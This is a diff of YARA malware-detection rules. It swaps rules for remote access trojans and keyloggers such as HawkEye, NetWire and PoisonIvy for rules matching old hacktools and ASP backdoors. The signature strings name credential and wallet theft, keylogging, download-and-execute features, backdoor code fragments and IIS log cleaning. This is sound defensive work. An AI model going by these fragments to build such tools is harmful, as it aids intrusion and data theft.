-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L333-L357"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db3a0fe5774f0d137e092a4eb9672a4518d0ef943a1a4619cb646a9ac9f74ee0"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2301-L2321"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e5588665ca6d52259f7d9d0f13de6640c4e6439c"
+		logic_hash = "c62ae1d32e93a8614a8288ce2df8e26806ab67b3b133067182f0396f0f080b78"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "KeyLogger"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$key = "HawkEyeKeylogger" wide
-		$salt = "099u787978786" wide
-		$string1 = "HawkEye_Keylogger" wide
-		$string2 = "holdermail.txt" wide
-		$string3 = "wallet.dat" wide
-		$string4 = "Keylog Records" wide
-		$string5 = "<!-- do not script -->" wide
-		$string6 = "\\pidloc.txt" wide
-		$string7 = "BSPLIT" wide
+		$s0 = "<form action=\"changepwd.asp\" method=\"post\"> " fullword ascii
+		$s1 = "  Set oUser = GetObject(\"WinNT://ComputerName/\" & UserName) " fullword ascii
+		$s2 = "    value=\"<%=Request.ServerVariables(\"LOGIN_USER\")%>\"> " fullword ascii
+		$s14 = " Windows NT " fullword ascii
+		$s16 = " WIndows 2000 " fullword ascii
+		$s18 = "OldPwd = Request.Form(\"OldPwd\") " fullword ascii
+		$s19 = "NewPwd2 = Request.Form(\"NewPwd2\") " fullword ascii
+		$s20 = "NewPwd1 = Request.Form(\"NewPwd1\") " fullword ascii
 
 	condition:
-		$key and $salt and all of ($string*)
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Imminent
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Fpipe
 {
 	meta:
-		description = "Detects Imminent RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "deddef60-c309-54e0-a488-ce937ed7eae3"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file FPipe.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0b2f11d9-a919-5790-8724-d2f028e4fa3a"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Imminent"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L359-L389"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aebae753c119950b0b3f315c7279866caf15f4d482c0a47912c90885adcf6db2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2323-L2341"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+		logic_hash = "ecf143c231aeb37cf9575c3ea8db83c9a049e85a7c95668deeac0878f9c30b9c"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$v1a = "DecodeProductKey"
-		$v1b = "StartHTTPFlood"
-		$v1c = "CodeKey"
-		$v1d = "MESSAGEBOX"
-		$v1e = "GetFilezillaPasswords"
-		$v1f = "DataIn"
-		$v1g = "UDPzSockets"
-		$v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
-		$v2a = "<URL>k__BackingField"
-		$v2b = "<RunHidden>k__BackingField"
-		$v2c = "DownloadAndExecute"
-		$v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
-		$v2e = "england.png" wide
-		$v2f = "Showed Messagebox" wide
+		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+		$s2 = "source port for that outbound connection being set to 53 also." fullword ascii
+		$s3 = " -s    - outbound source port number" fullword ascii
+		$s5 = "http://www.foundstone.com" fullword ascii
+		$s20 = "Attempting to connect to %s port %d" fullword ascii
 
 	condition:
-		all of ($v1*) or all of ($v2*)
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Infinity
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Concon
 {
 	meta:
-		description = "Detects Infinity RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "b70f9459-fa84-516f-841d-d9617856eb4d"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file concon.com"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ca7862cc-1053-5fce-a569-6ecc069314df"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Infinity"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L391-L414"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1f5381755af6cfbb10a4769757cdeffb9651bddc76bc4c8e9765ed44bf37fe6"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2343-L2356"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "816b69eae66ba2dfe08a37fff077e79d02b95cc1"
+		logic_hash = "c45955cc59970657f8787ddc0e549939d2fa30d11cfd19fd12cd9067abb3bcd6"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "CRYPTPROTECT_PROMPTSTRUCT"
-		$b = "discomouse"
-		$c = "GetDeepInfo"
-		$d = "AES_Encrypt"
-		$e = "StartUDPFlood"
-		$f = "BATScripting" wide
-		$g = "FBqINhRdpgnqATxJ.html" wide
-		$i = "magic_key" wide
+		$s0 = "Usage: concon \\\\ip\\sharename\\con\\con" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Lostdoor
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_Regdll
 {
 	meta:
-		description = "Detects LostDoor RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "f86ae7a1-2182-5b2e-8f9e-9e8456f574bc"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file regdll.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "37096c50-68d0-5412-847a-022062a5ff2a"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/LostDoor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L440-L465"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ffa6f5cbeacca5a1e750e35d8296658d4e280078a61f94fd5f2d4b7c800bb44"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2358-L2374"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5c5e16a00bcb1437bfe519b707e0f5c5f63a488d"
+		logic_hash = "89606ccf4341ba9451fd1bfbc818bbcd55d45d50e06f09b9f1ecd8efb3c322af"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a0 = {0D 0A 2A 45 44 49 54 5F 53 45 52 56 45 52 2A 0D 0A}
-		$a1 = "*mlt* = %"
-		$a2 = "*ip* = %"
-		$a3 = "*victimo* = %"
-		$a4 = "*name* = %"
-		$b5 = "[START]"
-		$b6 = "[DATA]"
-		$b7 = "We Control Your Digital World" wide ascii
-		$b8 = "RC4Initialize" wide ascii
-		$b9 = "RC4Decrypt" wide ascii
+		$s1 = "exitcode = oShell.Run(\"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, " ascii
+		$s3 = "oShell.Run \"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, False" fullword ascii
+		$s4 = "EchoB(\"regsvr32.exe exitcode = \" & exitcode)" fullword ascii
+		$s5 = "Public Property Get oFS()" fullword ascii
 
 	condition:
-		all of ($a*) or all of ($b*)
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Luminositylink
+import "pe"
+
+rule SIGNATURE_BASE_Cleaniislog
 {
 	meta:
-		description = "Detects LuminosityLink RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "163fe10c-38a1-53d3-b3a5-4240229e0306"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file CleanIISLog.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "439726c6-3262-59ef-9a54-7dcd98cf924d"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/LuminosityLink"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L467-L493"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e70e3e0885d098f1ac2bcc324cd8ad2682fbfc395f189cabc4a4f97a0109682"
-		score = 75
-		quality = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2376-L2397"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+		logic_hash = "77a26e57b36f73d4d2730bc3a4d8485718119e2ccc80b40de3515ec688616eb9"
+		score = 60
+		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "SMARTLOGS" wide
-		$b = "RUNPE" wide
-		$c = "b.Resources" wide
-		$d = "CLIENTINFO*" wide
-		$e = "Invalid Webcam Driver Download URL, or Failed to Download File!" wide
-		$f = "Proactive Anti-Malware has been manually activated!" wide
-		$g = "REMOVEGUARD" wide
-		$h = "C0n1f8" wide
-		$i = "Luminosity" wide
-		$j = "LuminosityCryptoMiner" wide
-		$k = "MANAGER*CLIENTDETAILS*" wide
+		$s1 = "CleanIP - Specify IP Address Which You Want Clear." fullword ascii
+		$s2 = "LogFile - Specify Log File Which You Want Process." fullword ascii
+		$s8 = "CleanIISLog Ver" fullword ascii
+		$s9 = "msftpsvc" fullword ascii
+		$s10 = "Fatal Error: MFC initialization failed" fullword ascii
+		$s11 = "Specified \"ALL\" Will Process All Log Files." fullword ascii
+		$s12 = "Specified \".\" Will Clean All IP Record." fullword ascii
+		$s16 = "Service %s Stopped." fullword ascii
+		$s20 = "Process Log File %s..." fullword ascii
 
 	condition:
-		all of them
+		5 of them
 }
-rule SIGNATURE_BASE_RAT_Luxnet
+import "pe"
+
+rule SIGNATURE_BASE_Sqlcheck
 {
 	meta:
-		description = "Detects LuxNet RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "277db509-5ba0-5d1b-b17a-d5914f1f1650"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file sqlcheck.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a72d38ef-b2e7-5051-8538-724d9e95fa6a"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/LuxNet"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L495-L516"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "55d872e2e30f6d55a6f91750bbb52675042e4673d712a4f2417af43b0f2c4fb9"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2399-L2416"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5a5778ac200078b627db84fdc35bf5bcee232dc7"
+		logic_hash = "e9c1d7cabe7236e059f4bfec917ca00c47a3db955746ebfcda0f5e733de359c7"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "GetHashCode"
-		$b = "Activator"
-		$c = "WebClient"
-		$d = "op_Equality"
-		$e = "dickcursor.cur" wide
-		$f = "{0}|{1}|{2}" wide
+		$s0 = "Power by eyas<cooleyas@21cn.com>" fullword ascii
+		$s3 = "\\ipc$ \"\" /user:\"\"" fullword ascii
+		$s4 = "SQLCheck can only scan a class B network. Try again." fullword ascii
+		$s14 = "Example: SQLCheck 192.168.0.1 192.168.0.254" fullword ascii
+		$s20 = "Usage: SQLCheck <StartIP> <EndIP>" fullword ascii
 
 	condition:
-		all of them
+		3 of them
 }
-rule SIGNATURE_BASE_RAT_Netwire
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Runasex
 {
 	meta:
-		description = "Detects NetWire RAT"
-		author = "Kevin Breen <kevin@techanarchy.net> & David Cannings"
-		id = "f0077e8c-3e6a-5a98-9171-b0d81f24d27a"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file RunAsEx.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5fe349db-c0fc-5a49-97ee-3142f4e0e4c1"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/NetWire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L547-L569"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6a4e757262c02dfe46ac28940b53a5695df2d242ccd4c16b42fbfdcf96072e91"
-		score = 75
-		quality = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2418-L2436"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a22fa4e38d4bf82041d67b4ac5a6c655b2e98d35"
+		logic_hash = "dac03251539028da02c9f26f20ca751ee577c125fb4f287c61ac2ea6afb1bb28"
+		score = 60
+		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$exe1 = "%.2d-%.2d-%.4d"
-		$exe2 = "%s%.2d-%.2d-%.4d"
-		$exe3 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
-		$exe4 = "wcnwClass"
-		$exe5 = "[Ctrl+%c]"
-		$exe6 = "SYSTEM\\CurrentControlSet\\Control\\ProductOptions"
-		$exe7 = "%s\\.purple\\accounts.xml"
+		$s0 = "RunAsEx By Assassin 2000. All Rights Reserved. http://www.netXeyes.com" fullword ascii
+		$s8 = "cmd.bat" fullword ascii
+		$s9 = "Note: This Program Can'nt Run With Local Machine." fullword ascii
+		$s11 = "%s Execute Succussifully." fullword ascii
+		$s12 = "winsta0" fullword ascii
+		$s15 = "Usage: RunAsEx <UserName> <Password> <Execute File> [\"Execute Option\"]" fullword ascii
 
 	condition:
-		all of them
+		4 of them
 }
-rule SIGNATURE_BASE_RAT_Pandora
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Nbtdump
 {
 	meta:
-		description = "Detects Pandora RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "d31e4366-8911-5c9c-92dc-a99f5233c626"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file nbtdump.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fe490f72-a07d-57c2-b9bb-d791fab10ec6"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Pandora"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L571-L599"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d33598d0699bfb7e996047318099302c2c326e45d993a259c2bc145acf8cf54b"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2438-L2457"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cfe82aad5fc4d79cf3f551b9b12eaf9889ebafd8"
+		logic_hash = "fd17851820b5036b4cc1ebb6f927bb62c898027a17b5376e9420cbfa6a166ef2"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Can't get the Windows version"
-		$b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
-		$c = "JPEG error #%d" wide
-		$d = "Cannot assign a %s to a %s" wide
-		$g = "%s, ProgID:"
-		$h = "clave"
-		$i = "Shell_TrayWnd"
-		$j = "melt.bat"
-		$k = "\\StubPath"
-		$l = "\\logs.dat"
-		$m = "1027|Operation has been canceled!"
-		$n = "466|You need to plug-in! Double click to install... |"
-		$0 = "33|[Keylogger Not Activated!]"
+		$s0 = "Creation of results file - \"%s\" failed." fullword ascii
+		$s1 = "c:\\>nbtdump remote-machine" fullword ascii
+		$s7 = "Cerberus NBTDUMP" fullword ascii
+		$s11 = "<CENTER><H1>Cerberus Internet Scanner</H1>" fullword ascii
+		$s18 = "<P><H3>Account Information</H3><PRE>" fullword wide
+		$s19 = "%s's password is %s</H3>" fullword wide
+		$s20 = "%s's password is blank</H3>" fullword wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule SIGNATURE_BASE_RAT_Paradox
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Glass2K
 {
 	meta:
-		description = "Detects Paradox RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "2f1e6226-799b-54eb-a4a4-6c0f1bf561b4"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file Glass2k.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7a2ad37a-6b55-5710-b07d-7c289cdbb04e"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Paradox"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L601-L623"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fef41262b78a497c65c7548c58d78ba8912725b28606fd9e99d1dbc19bdf7393"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2459-L2476"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b05455a1ecc6bc7fc8ddef312a670f2013704f1a"
+		logic_hash = "d9b6b904028d67804d095f85caea5796f528f866191d3b4250055a75511f2090"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "ParadoxRAT"
-		$b = "Form1"
-		$c = "StartRMCam"
-		$d = "Flooders"
-		$e = "SlowLaris"
-		$f = "SHITEMID"
-		$g = "set_Remote_Chat"
+		$s0 = "Portions Copyright (c) 1997-1999 Lee Hasiuk" fullword ascii
+		$s1 = "C:\\Program Files\\Microsoft Visual Studio\\VB98" fullword ascii
+		$s3 = "WINNT\\System32\\stdole2.tlb" fullword ascii
+		$s4 = "Glass2k.exe" fullword wide
+		$s7 = "NeoLite Executable File Compressor" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Plasma
+import "pe"
+
+rule SIGNATURE_BASE_Splitjoin_V1_3_3_Rar_Folder_3
 {
 	meta:
-		description = "Detects Plasma RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "2a19c0de-0078-5487-869c-1bcabea57300"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4ffd7501-339c-52b7-8661-2c3ca57dfa1f"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Plasma"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L625-L649"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e73348d379c483a7917cf765a457739aed6940f180272fa8d0c0dd1eb8e5f562"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2478-L2493"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "21409117b536664a913dcd159d6f4d8758f43435"
+		logic_hash = "79eb49413cd6919e4b91e916d2612e007fd2c4da7244d9e1e3dd04d46c461d8c"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Miner: Failed to Inject." wide
-		$b = "Started GPU Mining on:" wide
-		$c = "BK: Hard Bot Killer Ran Successfully!" wide
-		$d = "Uploaded Keylogs Successfully!" wide
-		$e = "No Slowloris Attack is Running!" wide
-		$f = "An ARME Attack is Already Running on" wide
-		$g = "Proactive Bot Killer Enabled!" wide
-		$h = "PlasmaRAT" wide ascii
-		$i = "AntiEverything" wide ascii
+		$s2 = "ie686@sohu.com" fullword ascii
+		$s3 = "splitjoin.exe" fullword ascii
+		$s7 = "SplitJoin" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Poisonivy
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_EDIT
 {
 	meta:
-		description = "Detects PoisonIvy RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "371686d3-878f-56fc-a702-ec49845f486b"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file EDIT.ASP"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cdcec370-97af-51c0-b81a-35a788f16ef4"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/PoisonIvy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L651-L672"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "874e0dfb22a03abc0f7fdc7209ff13b55dfa5dcc17db944903ca37a549eb331d"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2495-L2514"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12196cf62931cde7b6cb979c07bb5cc6a7535cbb"
+		logic_hash = "0f97c831eb9f257a2a6c9a677dde2ce17d529584fb7085bc94edd83d886e469f"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
-		$string1 = "CONNECT %s:%i HTTP/1.0"
-		$string2 = "ws2_32"
-		$string3 = "cks=u"
-		$string4 = "thj@h"
-		$string5 = "advpack"
+		$s1 = "<meta HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=gb_2312-80\">" fullword ascii
+		$s2 = "Set thisfile = fs.GetFile(whichfile)" fullword ascii
+		$s3 = "response.write \"<a href='index.asp'>" fullword ascii
+		$s5 = "if Request.Cookies(\"password\")=\"juchen\" then " fullword ascii
+		$s6 = "Set thisfile = fs.OpenTextFile(whichfile, 1, False)" fullword ascii
+		$s7 = "color: rgb(255,0,0); text-decoration: underline }" fullword ascii
+		$s13 = "if Request(\"creat\")<>\"yes\" then" fullword ascii
 
 	condition:
-		$stub at 0x1620 and all of ($string*) or ( all of them )
+		5 of them
 }
-rule SIGNATURE_BASE_RAT_Predatorpain
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_Entice
 {
 	meta:
-		description = "Detects PredatorPain RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "c6670179-871d-5a57-983b-d77354e2ede9"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file entice.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "68c61920-9c3c-5bfe-976c-346b258bb406"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/PredatorPain"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L674-L702"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "917234f83f891ad00bd83908c244818f517ea89cf7d8c81cfc3618b8386c1804"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2516-L2533"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e273a1b9ef4a00ae4a5d435c3c9c99ee887cb183"
+		logic_hash = "c11313351565d26d9b16a2d5c3c4589676593fe633c441a1c1a33b3c134a2d56"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string1 = "holderwb.txt" wide
-		$string3 = "There is a file attached to this email" wide
-		$string4 = "screens\\screenshot" wide
-		$string5 = "Disablelogger" wide
-		$string6 = "\\pidloc.txt" wide
-		$string7 = "clearie" wide
-		$string8 = "clearff" wide
-		$string9 = "emails should be sent to you shortly" wide
-		$string10 = "jagex_cache\\regPin" wide
-		$string11 = "open=Sys.exe" wide
-		$ver1 = "PredatorLogger" wide
-		$ver2 = "EncryptedCredentials" wide
-		$ver3 = "Predator Pain" wide
+		$s0 = "<Form Name=\"FormPst\" Method=\"Post\" Action=\"entice.asp\">" fullword ascii
+		$s2 = "if left(trim(request(\"sqllanguage\")),6)=\"select\" then" fullword ascii
